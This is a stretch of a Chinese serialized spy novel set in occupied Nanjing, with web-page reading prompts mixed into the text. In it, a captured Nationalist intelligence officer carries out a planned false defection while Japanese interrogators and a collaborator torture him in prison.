李泉今天并未去松机关,而是奉机关长黑木将军之命,率两位下属直接来到老虎桥监狱报到,专门负责看管松机关的四位重要嫌犯。 说是看管,言过其实,老虎桥监狱的守卫森严,根本无需他们作额外的防卫,黑木之意乃是让李泉他们专司“照顾”这四位尊贵的犯人。及时了解从他们的需求,可以有效地上传下达。 四位犯人,一位是原国民政府的少将旅长刘云雄,一位是他的妻子秦素芬,一位是昨夜才锒铛入狱的国民政府南京情报站的高管林赤,最后一位就是尚未洗清、且有重大嫌疑的钱瑾余。 这四位犯人,目前均享受着特殊而优厚的待遇,他们都是住的单间监房,同在甲区收监,吃着老虎桥监狱最好的牢饭,看管人员可随叫随到且心甘情愿毫无怨言,任何要求可以提出但至于狱方答不答应另当别论,最可贵的是,他们还享受着一天一次的望风。 只是望风时间由一刻钟被缩短到十分钟。 这天早晨,李泉从住处直接就到了老虎桥监狱。 这是他第一天在老虎桥监狱上班。 到了监狱,他向典狱长武内次郎报到后,就领着两名下属,来到甲区监房,例行今天的首次巡查。 先来到甲区女监区,在三号监房门前,李泉探头张望,他看到秦素芬正在拨弄着自己的指甲,却也安然若素,神情间全然没有深陷牢笼的焦灼,李泉轻声咳嗽,想唤起对方的注意。 果然秦素芬被门外的声音吸引,但也只是抬头扫视了一眼,便再次低头悠然地打理着自己的指甲。 在五号监房的门口,李泉看到了钱瑾余。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!李泉心中掠过一丝疑问,很显然,这明明是女监,可为何会关押男犯?难道是男监房紧张? 心中虽有疑惑,但毕竟身份卑微,不便多管闲事。 这位冒充共党首长“镰刀”的国民政府特工,由于检举有功,如今已被退掉脚镣手铐,还复了他应有的自由,并享有了阅读的权利,此时的他,正坐在桌前阅读一份报纸,神情间有着一丝劫后余生的惴惴不安。李泉照例咳嗽一声。 钱瑾余反应还算敏捷,连忙将目光聚集在房间的了望门洞上。和李泉的目光相遇后,他很快又低下头,继续阅读手中的报纸,但却显得心猿意马,不时瞟着外面。 出了女监区,穿过一道铁门,就是男监区。 果然如李泉所料,甲区的男监房人满为患,每个独立监房都入住了犯人。 最先出现在眼前的是八号监房,李泉知道,这是关押刘云雄的地方。 一眼望去,刘云雄正盘着双腿静静地坐在床上,身板挺直,眼睛微闭,神色平静,无喜无忧,波澜不惊。 床前不远处的桌子上,饭菜依旧完好未动。 李泉又咳嗽一声。 对方不为所动,依旧我行我素,甚至连脑袋都没有动一下。 李泉不甘心,将咳嗽的声音提高了些许,可对方还是岿然不动,李泉只好作罢。 在八号监房的斜对面,是十号监房。 与李泉在应天教会医院曾有过一面之缘的林赤羁绊在此。 和其他几位不一样的是,林赤乃是暴徒,在抓捕现场恶行累累,一下子造成松机关行动处队员一死三伤的惨痛后果,因而,毫无疑问,林赤的手脚都被限制了自由。 林赤蜷缩着身体,正呼呼大睡。他的身子有一半悬空在床沿外,手脚均朝着外面摆放,两只手被手铐桎梏,紧紧地上下叠合在一起,而双脚上的脚链则悬在床沿下方。 李泉还是咳嗽了一声。 他的声音如泥牛入海,不见对方有任何反应。李泉把耳朵贴在铁门上,隐隐听到对方激昂的呼噜声。 李泉悻悻地笑了笑,看来,差不多一夜折腾下来,这位年轻人一定又乏又困,否则又如何能这么沉得住气? 巡查完毕,在监狱的出口,李泉遇到也带人巡房的副典狱长陈炳松。 李泉想了想还是向他表示了自己的疑问,毕竟,同为为日本人卖命的中国人,向他表示疑惑不会有什么不良的后果。 “陈副典狱长,你们怎么会把那位钱瑾余的犯人关在女监区?” 陈炳松的回答与李泉预计的答案一模一样。 “前些日子,男监区已满,甲区只有女监区有空房,我们就把他安排到那里了。昨夜这位姓林的犯人的十号监房也是刚刚腾出的。” 既然二人有着惊人的相似之处,李泉便有了惺惺相惜之感,就有意和陈炳松套起了近乎。 “老陈,你还好吧!我叫李泉,刚刚加入松机关不久,以后请多关照!”李泉伸手和陈炳松相握。 陈炳松眉宇间也透出亲切,一边使劲地握着李泉的手一边笑道:“岂敢岂敢,关照谈不上,以后我还得仰仗李兄弟的提携,毕竟,我的上司只是一名上尉,而您的上司却官至少将,完全可以翻云覆雨,您这是近水楼台先得月啊,前途一定是不可限量!以后有什么好处,可千万别忘了老哥!” 李泉自投身日本人的怀抱,一直内心羞愧,深怕被别人戳脊梁骨,所以这些日子来,心中惶恐不安,陈炳松的这席话,让他得到了很大的慰藉,心中阴霾顿无。 起码,这位比自己年长十来岁的男子对他显现出久违的尊敬!一瞬间,枯寂的心灵得到了滋润,李泉对他充满了好感,感激之余,紧接着信心呈阳线上扬,整个人开始焕发出勃勃生机。 “老陈,你多虑了!”李泉十分友好地拍了拍陈炳松的肩膀,打起了哈哈,“我俩同为中国人,理应相互照应,这一点,你大可放心!” “待这段时间闲下来,我找机会咱哥俩聚聚,请到我家好好喝一顿!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第132章 角力 这一觉,林赤睡得昏天黑地。 自从最高统帅部下达了保卫南京的命令后,林赤的命运就如同洪流中的一叶小舟,在风高浪急的水面上飘摇,随时都有触礁的可能性。总队长战前动员、基层军官宣誓决心、部队整装待发、进入预设阵地、阻击战打响……所有的这一切,历历在目却又缥缈如梦,清晰得似在昨日却又恍若隔世!自那以后,林赤和万万千千的守土将士一样,爬上了一辆下坡的快车,速度越来越快,不容思考,不容休憩,甚至连喘息的机会也没有,转眼间就被时间的车轮带进了一个未知的三维空间,行进中,很多生命已经凋零,可是苟活着的却不见得是解脱,依旧在做不屈的挣扎,依旧在汪洋的洪流中苦苦沉浮,生与死之间只是相差了一个浪峰,或是隔着一层薄薄的纸,也许只是需要一滴眼泪,就可以将它濡湿…… 命运之舟到底何去何从,无人可以准确预料,似乎接下来所有的一切,只能听天由命! 自林赤随同教导总队的一部,踏上了紫金山东麓南线阵地那块土地,他的命运已经无法自我抉择。 一个阴雨绵绵的冬日黄昏,他从死人堆里爬了出来,在经过短暂的疗伤后,随即他被卷入波诡云谲的暗流之中,自那以后,他的步伐再未停止。 内心的那根弦一直被他紧紧地绷着,紧得随时都有断裂的危险! 这么多天来,他第一次感觉到累,感觉到精疲力竭,感觉到心力交瘁。所以,在这个风雪交加的夜晚,当林赤被投进老虎桥监狱后,他身负枷锁,马上沉沉睡去。 潜意识告诉他新的一轮战役即将打响,他必须保证充沛的体力,来迎接又一轮的考验和战斗! 这一觉一下子睡了将近十个小时,直到他在床上第一次辗转身子,脚链发出锐利的脆响,才将他从睡梦中惊醒。 四下一片寂静,静得几乎听到自己的心跳。 整个监房,只有南墙的顶端开有一扇很小的窗户,阳光从此斑斑驳驳洒落于地。 显而易见,那扇窗户上覆盖有积雪,在暖阳的照耀下,积雪正在融化,偶尔从上面垂直落下一滴水珠,重重地砸在监房的水泥地上,迸发出如同心跳般的声响。 醒来后的林赤,拖曳着沉重的脚链,来到床前的桌旁,他将桌上的一块馒头和一碗已经冰凉的稀粥吃了下去。接下来,他静静地坐在床上,开始思索着所有的细节。 是的,他的卧龙计划已经开始推进。 至少到目前为止,所有的一切均是按照他的设想在有条不紊地进行。 是的,钱瑾余招供出他,也是他计划的一部分。 至少到目前为止,他自信地认为,钱瑾余还是按照他的设想把他推到了台前。 接下来,该是他林赤粉墨登场了! 这个计划,发端于他对敌人的一无所知,如此窘况使得身为南京情报站的负责人之一的林赤忧心忡忡;迫切于知己知彼的愿景,他必须快速扭转被动的不利局面;起始于蜂鸟潜入南京,他带着锤子去了蜂鸟下榻的钟山大饭店,在经过数小时的周密商谈后,这个计划才得以初步形成! 蜂鸟被这个大胆的计划惊得一片愕然。 故而,那晚离开钟山大饭店,蜂鸟竟然冒着暴露的危险,亲自将林赤送到饭店门前。 蜂鸟也无法预料,等待林赤的是光明还是黑暗,是坦途还是坎坷,因而,他唯一可以表露心扉的便是亲自送林赤一程。 那个夜晚,蜂鸟对林赤反复所说的,便是“保重”二字! 而共党江苏省委一号首长镰刀的潜入,则给林赤的卧龙计划提供了一个最佳时机。 在池碧疆的组织寻求林赤的慷慨相助时,林赤才从中觅到了一个千载难逢的机会。所以说,让钱瑾余扮成“镰刀”只是灵光一闪的急中生智! 当然这种所谓的灵光一闪,却也是经过了他深思熟虑的谋划。在大华百货店,林赤用一个上午的时间,差不多抽光了一整包香烟,才捋清了个中细节。 此外,钱瑾余的意外出现,也是他计划得以实施的一个重要环节,自池碧疆找上门来,让他帮忙的那一刻,他的计划,还只能算得上是万事俱备只欠东风,而钱瑾余的出现,则完善了最后的一道环节。 在林赤通过钉子进一步确认了他的身份后,林赤就已把钱瑾余当成了那一缕“东风”。 鉴于对自己能力的清晰判断,林赤执着认为自己是打入日本人阵营的最佳人选。当然林赤深知,他将会付出比钱瑾余艰辛数倍的努力,才可能顺利地潜入敌营。 他必须承受日本人对他更严酷的肉体和精神折磨,除此之外,他还必须提供切实有效的情报来换取敌人对他的信赖,对于后者,林赤是有足够的准备的。 是的,从这一切来看,钱瑾余的招供包括时机在内都经由林赤的事先预设。 即便黑木不把钱瑾余关进那个别出心裁的木柜,在入狱的第二天,他也必须交代出林赤,林赤给他的指令就是扛过两轮刑罚。 这章没有结束,请点击下一页继续阅读!至于钱瑾余一股脑倒出他的真实意图——诈降,这其实是林赤和黑木和一次下着巨大赌注的智力博弈,这样的博弈本身即是双刃剑,弄不好会伤了自己,极有可能会连累钱瑾余送了性命,但林赤必须铤而走险,他让钱瑾余把“诈降”的目的直言不讳的道出,说到底,是一种血淋淋的赌博,只不过,林赤断定如此愚蠢的招式黑木必定会从因果关系反推,就如同否定之否定等于肯定一样! 在他的计划实施之后,林赤所要做的,是尽量不伤及无辜,所以,在这之前,他将悦颜照相馆的曹响亮安排回到了大华百货店;把“钉子”送回了月息路;给赵楷另派了任务……在昨天夜晚来临之前,他让平素住在店内过夜的彭登科回家了;并驾车把曲思秋送到了她父母的住处! 尤其对于曲思秋,是林赤最为纠结的,他知道,如果曲思秋夜宿利民诊所,则很难保证她看不到所发生的一切,很难保证因由双方的真挚情感不节外生枝,所以,最有效的办法就是让她什么也看不到。 在夜幕来临之际,林赤已经做好了一切准备。 只是林赤万万没料到的是,半夜折返的曲思秋,亲眼目睹了所发生的一切,他根本不知道,这样的情景,对她的打击将是何等之巨! 此时的林赤,像是一个怀揣梦想即将迎考的考生,把全部的考试要点再过了一遍。 他已经上路了,他无法回头,接下来所发生的一切,将会直接拷问他的灵魂! 睡眠已经得到补充,肚子也已填饱,他微闭眼睛,他已然准备就绪。 他在等松机关的机关长黑木瞳的到来,当然,在黑木的身边,一定不会或缺那个叫做渡边雪奈的女人。他需要亲自再次验证,他和那位女人的较量,必须凯歌高旋! 那一次燕子矶的狙击,面对渡边雪奈,他居然手抖了,这成了他心中永远的痛! 这是一场彻底的角力,是林赤从正面战场转战到情报战线的一次刻骨铭心的实战! …… 锤子在这天早晨,踩着厚厚的积雪,来到了悦颜照相馆。 计划中,他必须亲自前来照相馆,从侧面了解林赤计划实施的进展程度。当他看到悦颜照相馆的店内一片狼藉、地上血迹斑斑时,他已经清楚地知道,林赤出发了。 锤子感到内心忽然涌上了一股苍凉。 天气晴朗而温和,没有风,但锤子的眼睛却迎风流泪了。 …… 同样是这天早晨,日方的王牌狙击手工藤夕贵中尉在去食堂吃早餐的路上,邂逅了松机关的行动处处长渡边雪奈少佐,渡边一改往日对他的冷漠,主动和他打上了招呼。工藤正纳闷之际,忽然听到渡边神秘兮兮对他说道:“工藤上尉,你想不想认识射伤你的那名支那狙击手?” 工藤听得一头雾水,刚想问个究竟,却见渡边笑容满面地决然而去。 …… 同样是这天早晨,松机关的黑木瞳从睡梦中醒来,尽管依旧很困乏,但黑木却莫名其妙显得亢奋,洗漱完毕后,他去机关食堂享用早餐,意外看到了闷闷不乐的工藤君,便端起餐盘坐在了工藤的旁边。 工藤看他的眼神似乎有话想说,黑木本以为他会透露电讯股股长稻田勇上尉的那只木箱的一些秘密,于是充满期待地盯着工藤,却听到工藤毅然问道:“将军,渡边少佐今早和我提起了上次在燕子矶埋伏的那名狙击手,我想知道这到底是怎么回事?” 黑木听罢方知,在这位王牌狙击手的眼里,最为关心地则是伤及他的对手,其他的一切,根本不足挂齿。 “是的,我们抓住他了!” 黑木说完期待着工藤兴奋的表情,却见工藤显得无限落寞,怏怏说道:“哦,原来是这样的啊!” 黑木回到办公室,给川上麻衣签了电波侦测器的申领单后,抬手看表,时间已是上午十点。 “该走了!”黑木心想。 出了房间,黑木来到行动处,对渡边一挥手道:“渡边小姐,我们这就出发!” “将军要去哪里?”来到门外,渡边求证道。 “当然是老虎桥监狱啊!” 渡边雪奈证实了内心的想法,即刻显出无比欢快地样子! 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第133章 冰与火的考验 老虎桥监狱。 甲区10号监房。 四周依旧死一般沉寂,只听到水滴偶尔发出“滴答”的声响。 这是暴风雨来临前特有的静寂。 终于,静寂被一串脚步声打破。脚步声开始很远,只是隐隐约约,很显然,对方走路的速度很快,仅仅一会儿功夫,这群人已到达监房外面数十米开外,林赤侧耳聆听,从脚步声整齐划一程度可以判断,这是一帮训练有素的军人,数量大约在五名左右。 这是甲区监房今天第一批造访的来客。 林赤之所以这样认为,主要是鉴于对自己客观地认知,他知道,自己能够一口气睡这么长时间,最大的原因就是没有不速之客的惊扰,如果在他的世界中,即使自己酣睡如小死,但凡有不和谐的响动,他应该早就醒了。 俄顷间,这串脚步声渐行渐近,还未到林赤的监房门前,林赤已然知道,这帮人是冲自己来的。 因为,在距离10监房十数米远的地方,林赤已听出了对方脚步声忽然降低了频率。 林赤不由得坐正身子。 果然,脚步声在门前停了下来。 接下来,是一串钥匙的金属碰撞声,有人在掏钥匙开门。 10号监房的那扇厚重的铁门被人推开。 率先出现在林赤眼前的是松机关的机关长黑木瞳,另外一位,不出林赤所料,必定是与黑木如影随形的渡边雪奈。 黑木快速扫视监房,在他的眼前,是身负桎梏的那位既熟悉又陌生的年轻人,此时的他正静坐在那张木板床上,随着铁门的洞开,他的身子不由得迎向大门进口,目光和黑木他们一众人在空中相遇,竟丝毫没有胆怯之意。 黑木屏退身后的几名狱警,只带着渡边小姐进了监房。 这是黑木第一次在老虎桥监狱光临犯人的监房,即便是当时冒充“镰刀”的钱瑾余,即便是当时的国民政府被俘少将旅长刘云雄,都没有如此待遇。 连黑木自己也说不出原因,自己到底为何会亲自前来监房押解犯人,或许,在他的潜意识里,已把这位略显稚嫩的青年人当成自己最旗鼓相当的对手罢了! 黑木和渡边走到林赤的床前,三人的目光紧紧地纠缠在一起。 奇妙的是,时下的三人的内心均是亢奋的。 黑木的亢奋来源于前一阶段的工作成效,经过长期而不懈的努力,他的松机关终于有所建树。一个真正的对手——一个让共党大人物“镰刀”逃脱制裁的幕后精心策划者终于浮出了水面,并露出了庐山真面目,这样的里程碑式战绩怎么能不让黑木打心底亢奋和激动? 渡边的亢奋来源于对眼前这位并不厌恶、相反还有些好感的年轻人的狂热的征服欲!很多天前的那一个夜晚,在南京国际安全区,渡边在对他的鞭刑,已经充分领教了他的倔强和坚毅。故而,此情此景,让对形形色色男人天生有着洪荒之力般征服欲的渡边雪奈怎么能不打心底亢奋和激动? 林赤的亢奋来源于他的心念,这一刻的到来,本身就是经由他谋划的结果,能够眼看着他的计划一步一步顺利地实施,他又有何理由不对这样的结果亢奋和激动?况且,在林赤的内心深处,还有一个重要原因,他需要亲自验证自己的抗击打的承受力,他一直认为自己无坚不摧,认为自己由于对信念的坚守,而绝不会屈服于仅仅停留在对他肉体的折磨! 计划中,林赤给自己设定了一个强大的目标,那就是只要自己一息尚存,就不会妥协于对方的刑罚,而无论这样的刑罚何等严酷!因为林赤知道,只有他坚持得越久,才会更逼真,才会了无痕迹,才会让对方坚信于自己后来的“叛变”是纯粹的!唯有如此才更可能顺利地取得对方的信任! 黑木走近林赤,在他的面前站定,居高临下道:“林昂先生,我们又见面了!” “实话告诉你,我不叫林昂,我叫林赤。”林赤的嘴角流露出一丝淡淡的笑意。 “哦?”黑木也报以一丝微笑,傲然道:“叫什么不要紧,重要的是你现在是我的阶下囚!” “阶下囚不要紧,这一天的到来,我并不感到意外,重要的是从我的嘴里没有你们想知道的东西!” 渡边一下子来了兴趣,走到林赤的左身侧,似笑非笑道:“林先生竟然自信得爆棚,但是我不解的是,林先生的这份自信到底来源何处?”话一说完,只见渡边小姐突然挥起左手,一记耳光打在林赤的右边脸上,这记耳光清脆响亮,没有任何征兆,连黑木也被这举动惊着了。 “林先生有没有想过,你会被一位女人打脸?”渡边笑得更欢了。 林赤的右侧脸上马上留下了五道清晰的手指印。林赤抬起被手铐铐住的双手,一边用右手抚摸脸颊一边道:“如果你们只寄希望于女人打脸这样的手段,就指望让我们屈服,那我不妨给你们提个建议,你们可以像征集慰安妇一样,大量征召类如你这样的女人了!以后在你们的刑罚教程中,也可以专设‘女人打脸’这门课,如果连这也可以大行其道,那我现在就可以恭喜你们小日本,你们开创了一个世界上成本最低廉、效果最卓越的刑讯手段!” 本小章还未完,请点击下一页继续阅读后面精彩内容!渡边的脸上红一阵白一阵,笑容顿时消失,马上显出愠怒,再次抬起左手,刚想继续上演女人打脸的一幕,左手却被黑木硬生生压了下来,“渡边小姐,你不用再羞辱他了,这位林先生年纪虽轻,却已麻木不仁!”黑木转头看了看门外,一个眼神,候在门外的数名狱警马上蜂拥而进。 “看来,这位林先生想要领教我们帝国其它优秀的刑罚手段,那我们为何不成人之美?”黑木说着看了渡边一眼,笑道:“渡边少佐,你说呢?” 渡边尚未从林赤的侮辱中走出,怒气未消,脸上泛起一丝不自然的笑容,却一言未发。 狱警在林赤身旁站定,用目光寻求黑木的进一步指示。 “带走!”黑木一挥手,带着渡边雪奈先行离去。 黑木和渡边很快来到第一审讯室。 短短的一会儿功夫,审讯室内一切已然准备就绪。 所有的工作人员已经就位,就等主角入场。 铁炉里的炭火燃烧正旺,猩红的火光夹带着滋滋的声音已将审讯室内的室温提高了不少度,这让刚刚从寒气逼人的室外进来的渡边一下子没有的缩瑟感,忽然就有了蠢蠢欲动的感觉。除此之外,刑讯铁架已经稍加改动,在铁架的旁边,摆放了一具盛满凉水的木桶。 自进了房间内,燥热的空气让渡边更显得狂躁,她马上褪去外套,只剩下一件白色的衬衣,露出曲线分明的身材,黑木看到情景,内心一阵荡漾,不由道:“既然渡边小姐对这位林先生如此感兴趣,刑罚的任务不妨就交给少佐了!” 渡边需要的就是黑木的这句话,这个时候,没有什么比亲手教训那位狂傲不羁的林赤更让她抒怀的了! “是,将军!”渡边的语气透出喜悦。 黑木走近渡边,渡边身上特有的那股女人的体香顿时让他迷离,便本能地伸出手拍了拍她的肩膀,心不在焉说道:“渡边小姐,你准备怎么对付他?” 渡边还没想到这么细,转头看着黑木,征询着问道:“将军一定早有计划,还请将军明示!” 黑木把身子更加贴近渡边,说道:“是的,我已经打算过了,我们第一轮给他来个‘冰火两重天’!”黑木手指着木桶比划着说道。 渡边倏然明白了黑木的意图,点头赞道:“好,是该让他清醒清醒了,我倒要看看,这位林赤到底有多强大!” 这时,走廊外的脚镣声已近。 黑木退了回去,靠坐在椅子上,双手托起热气腾腾的咖啡杯,浅尝一口,舌尖在口腔中游动一番,细细体味着咖啡的余香。 上好的牙买加蓝山咖啡,居然在老虎桥监狱这样的地方,也藏匿有咖啡中的精品。 铁门打开,旋即被关上。 林赤进来了。 黑木倚坐在椅子上,静静地打量着眼前已失去自由的林赤。 林赤四下环顾,面色平静如水。 他的目光先是掠过黑木,慢慢收回,再次和渡边相遇。 渡边脸上的笑容如初,她浑然忘却了刚才的羞辱。没有什么比她更企盼接下来的戏份了。 松机关的少佐渡边雪奈小姐,亲自向林赤迎了过去,在众人的注视下,她伸手拉起林赤的手臂,把他带到铁架前。 这过程中,渡边笑靥如花。 在两根粗硕的铁柱前,渡边收住脚步,对身后的工作人员一挥手。 两名老虎桥监狱的狱警旋即走近林赤。 “姓名?” “林赤。” 审讯记录员快速记下他们的对话。 “给我把这位林先生倒吊起来!”渡边忽然激动地喊叫一声。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第134章 非人折磨 走近林赤的两位狱警是来自作战部队的日本军人,难得生有一副彪悍体型,看得出是经过精挑细选,他们分派出一人控制林赤的手脚,另一人把刑架上的铁链用铁箍固定在林赤的脚踝上。 林赤并不挣扎。 固定完毕,弯腰的那人一个手势,另一人马上会意,快步走到铁架旁,牵引着铁架上的手动葫芦。 绷直的铁链首先将力量传递到林赤的双脚,他的双脚由于外力的作用被很快拉起,身子于是没有了依靠,整个人立即前倾,上半身向地板砸了下去——他的脑袋像是钟摆的坠子,从最高处划着一道弧线朝着水泥地撞去……眼看他的脑袋就要硬着陆,林赤一个激灵,连忙把下垂的戴着手铐的双手撑在地上,如此情形如同从天上降落的飞机打开的起落架,避免了脑袋着地的严重后果。 手铐在水泥地上摩擦着,迸出刺耳的噪音。 转眼间,他的双腿已被吊起,身子倒立着徐徐向空中升起,不一会儿功夫,人已悬在了半空中。 惯性使得他的身子依旧在空中荡漾。 他的上衣本来就很宽松,在重力的作用下,一下子蒙住了他的脸。 渡边笑吟吟地走近林赤,伸出一只手抵住了林赤摇摆的身体。 这个时候,渡边雪奈完全是一副胜利者的姿态,她的每一个动作都显得风轻云淡,犹如闲庭信步。 她浑然忘却了危险的存在。 她以为此时的林赤双手已被制约,应该是手无缚鸡之力,却根本忽略了他的双手原本是可以活动的。 就在渡边的左手抵在林赤的腰际时,林赤忽然将粘连在一起的双手,向渡边突现在外的左手罩了过来……衣服遮住了林赤的视线,一切只是凭着林赤的第六感,结果是林赤不费吹灰之力用手铐紧紧缠住了她的手腕。 林赤的本意就是要教训一下这个不知天高地厚的女人。 他甚至是抱着一种恶作剧的心态。 渡边根本没有心理准备,猝不及防。 林赤的双手一缠住渡边的手,双脚便用力一蹬,身子凭借着这股力的帮助,又晃动起来,晃动所产生的巨大惯性立即把渡边拉近。渡边花容失色,这忽生的变故让她受到了巨大的惊吓,脸色煞白,慌乱中连忙伸出另一只手想去解脱束缚,可是又哪里掰得开! 此情此景,连隔岸观火的黑木也吓了一跳,霍地站起,一边大声喊叫一边疾步冲了过来。 站在渡边两侧的彪形大汉反应很是迅捷,一个箭步逼近林赤,一人去解林赤的手,另一人急中生智,照着林赤脑袋便是狠狠地一拳。 这一拳分量很重,虽然隔着棉衣击在林赤的脸上,林赤还是感觉到一阵头晕目眩,脑子一阵嗡嗡作响,紧接着,他的鼻孔中涌出一股热流,这股热流带着一股血腥气,从鼻尖处蜿蜒而下,即刻间迷蒙了他的双眼。 林赤于是松开手腕,渡边忙不迭地抽出手。 鲜血聚集在林赤的眉毛处,纷纷急骤地坠落。 这之后,林赤的身体一直被控制着。 惊魂甫定的渡边一边摇动着手腕,一边本能地后退几步,尽量远离林赤的身体。由于刚才的一番剧烈撕扭,她衬衣上的其中一颗纽扣已剥落,隐约透出贴身的红色内衣,红色内衣中包裹的双峰曲线愈加分明,由于喘息的缘故,绰约的双峰一直不停得抖动。 她的头发一片蓬乱,怎么看起来都显出那样的狼狈不堪。 她的手腕活络依旧,完好无损,只是被勒出一道深深的红印。 当其中一位狱警撕开遮蔽在林赤脸上的衣服时,渡边蓦然看到林赤的脸上洋溢着一丝嘲笑,这嘲笑带着轻蔑的得意,尽管这是一种极其别扭的视角,完全是另一种视觉体验,需要她费力地揣测,但渡边还是看出了对方的嘲弄之意。 渡边马上明白这是对方在捉弄自己。 对方显然手下留情,只是欲当众羞辱她,否则,绝不会是如此结果。 渡边又羞又气,不再犹豫,和另一人把盛满水的木桶抬到林赤的脑袋垂直处。 一切准备妥当,渡边来到铁架旁,亲自操作手动葫芦,将林赤的身子缓缓放下……直到林赤的脑袋完全淹没在水桶盛满的水中。 渡边不慌不忙抬手看表,一缕诡异的笑容在她的脸上扩散开来。 眼前的林赤脑袋完全没入水中,起初还是心有不甘的挣扎,可由于身体被狱警控制着,根本动弹不得,渐渐地,挣扎的幅度越来越小,到最后,他似乎是放弃了…… 二十秒、三十秒、四十秒……时间在众人的翘望中流逝得异常缓慢,就连黑木也不由得站起来,眉宇间流露出些许担忧。 黑木担忧报复心极强的渡边刹不住,而因此断送了这个年轻的生命。如若如此,岂不是功亏一篑? 然而,此时的渡边却要比黑木更“珍惜”他的性命,这就像是猫捉老鼠的游戏,在猫还没玩够时,是断然不会要了老鼠的命的,游戏的快感本身就来自于捉弄的过程,故而,渡边又岂能一下子索了他的性命? 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!终于熬到了五十秒,渡边将林赤慢慢从水中升起。 短暂的沉寂后,伴随着林赤大声的咳嗽,一大口水从他的嘴里喷了出来。他的咳嗽显得很吃力,身子悬在空中剧烈地晃动。 “林先生,你有话要说吗?”渡边厉声喝问。 没有人回答她的话。 “继续!”渡边果断说道。 一位狱警接过渡边手中的牵引线,操作起来。林赤的脑袋再次被投入水中。 这一次,林赤的挣扎幅度越来越小,他的力气似乎已经耗尽,甚至连身子晃动的过程都很微弱。不知何时,黑木已来到渡边的身旁,他把贪婪的目光恋恋不舍地从渡边的胸前移开,对渡边抛出一个适可而止的眼神。 渡边只把他在水中滞留了四十秒不到的时间,便赶忙升起。 伴随着林赤脑袋的腾空,水从林赤的鼻孔、耳朵、嘴里倾泻而下。 林赤已奄奄一息。 渡边快步来到林赤的身前,抬手试探了一下林赤的鼻息,气息尚存,渡边于是对黑木使了个眼色。 黑木跟着走近,微微屈下身子,在林赤的耳边轻声道:“林先生,这些痛苦你原本是不需要承受的……” 好半天,林赤才努力睁开双眼,打量了黑木一眼,又缓缓地闭上了眼睛。 黑木并不计较他的无礼,又接着说道:“你要知道,这才仅仅是开始,接下来,我们还有很多方法,这些方法都可以让你生不如死!” “你们中国有句古话,身体发肤受之父母,你这样糟践自己的身体,对得起养育你的父母吗?”黑木没有丝毫气馁,再接再厉。 此话一道出,忽见林赤双目圆瞪,逼视着黑木,眼眸里尽是满满的仇恨。 黑木本能后退两步,生怕他有什么过激的举动。 林赤又无力地闭合起双眼。 黑木继续道:“你们的国家大势已去,一己之力已无法力挽狂澜,只要你合作,我们可以保你不死,甚至还可以享尽荣华富贵……我黑木说到做到,一言九鼎!”黑木说完朝不远处的李泉挥挥手。 松机关行动处的李泉马上跑到黑木身侧,正身道:“将军,有何吩咐?” “你用你的现身说法,告诉这位林先生你的际遇!” 李泉亦步亦趋走到林赤的身旁,不无得意说道:“林兄弟,我就是一个活生生的例子,我和你一样,原本乃是国民政府的一名特工,原名李飞,去年年底奉命刺杀松井石根将军,后受伤被俘,俗话说得好,识时务者为俊杰,被捕后我一开始也是拒不合作,可是这又有什么用呢?我们的国家已经不行了,满目疮痍、民不聊生,老百姓生活在水深火热之中……皇军这是在帮助我们啊,你也是个聪明人,你一定知道这样顽抗下去的后果,我们不要一根筋,你还很年轻,如果因此断送了性命多不值啊!自从我与皇军合作后,皇军不计前嫌,尤其是黑木将军,不但不追究我,反而委以重任,我现在已是渡边少佐手下的一名组长,拿着饷银,衣食无忧,人总得向前看,我劝你不要再执迷不悟了,你比我有能力,只要你和皇军合作,前途不可限量!” 林赤依旧闭着眼睛,却张嘴问道:“你说你叫什么?” “李泉!” “原名?” “李飞。” 林赤睁开眼睛瞟了一下他,似乎并未听清。 李泉于是靠得更近了,贴在林赤的耳边大声道:“李飞……” 就在李泉贴近林赤,话一说出之际,林赤双手突然启动,猛然间勾住了李泉的脑袋,刹那间,林赤已张嘴咬住了他的耳垂。 李泉根本没有想到奄奄一息的林赤却忽然间迸发出如此巨大的力量,一个迟疑,耳朵已被对方紧紧咬住,剧烈的痛感马上像电波一样传遍全身,他不敢乱动,惶急之下只能把身体跟随者林赤的脑袋一起运动,慌乱中双手迫不及待抬起,扣在林赤的脸上,还未来得及行动,林赤的牙齿已经咬合,硬生生地咬下他耳垂上的一块肉来。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第135章 以其人之道还治其人之身 当李泉被林赤紧紧咬住耳垂的时候,在场的所有人只是发出齐刷刷地惊嘘声,并未有人上前帮忙。 黑木更是拉远了和林赤的距离,完全置身度外当起了看客。 渡边则原地岿然不动,她的表情是复杂的,有吃惊,有庆幸,有怀疑,有敬佩,有惊恐……最后定格成一丝幸灾乐祸的微笑。 渡边下意识摸摸自己的耳朵。 她根本没想到,两轮刑罚下来,林赤的脑袋被埋在水中前后将近一分半钟,居然此时还能对李泉进行如此精确的攻击!幸好被咬的不是自己,否则自己这样一位貌美如花的女子,如果耳垂上残缺了一块,则让她情何以堪?还不如干脆死了算! 这一咬,李泉不由弯下身子,嘴里发出犹如鬼哭狼嚎般的呜叫。 尽管痛得彻骨,但他不敢肆意嚎叫。因有那么多的眼睛盯着他,他不能在众人面前失态,不能因为自己的失误让众人小看了自己。 李泉好半天才直起腰,双目似乎要喷出火来,怒视着林赤,急得在原地转了几圈,眼光四处搜索,终于看到熊熊铁炉中已经被炙烤得艳红的烙铁。 李泉一个箭步冲上前去,毫不犹豫地抓起烙铁,快速抽出,由于抽得急,引得铁炉内火花四溅。 李泉这个时候才想起自己接下来的行为需要征求黑木的同意,便立即把征询的目光投向黑木,似乎是在企求黑木同意让他快意恩仇。 黑木却未直接表态,只是看了他一眼,便将目光收回。 此时的黑木内心矛盾,他是有担忧的,这么高密度的刑罚集中实施在林赤身上,他怕这最后一击会伤及林赤的性命。 李泉得不到黑木的反馈,便又期盼地看着渡边。 渡边脸上浮现出嘉许之色。 李泉一阵狂喜,一股邪火在内心腾腾燃起,他几乎是小跑而至。眼前的林赤身上的衣服下垂,肚皮完全裸露在外,他没有丝毫迟疑,立即举起手中的烙铁,贴在林赤的肚皮上。 霎那间,伴随着滋滋的声响,一股青烟升腾开来……几乎同时林赤发出一声低沉的惨叫,身子猛然开始剧烈抖动,连整个铁架也开始颤抖起来。 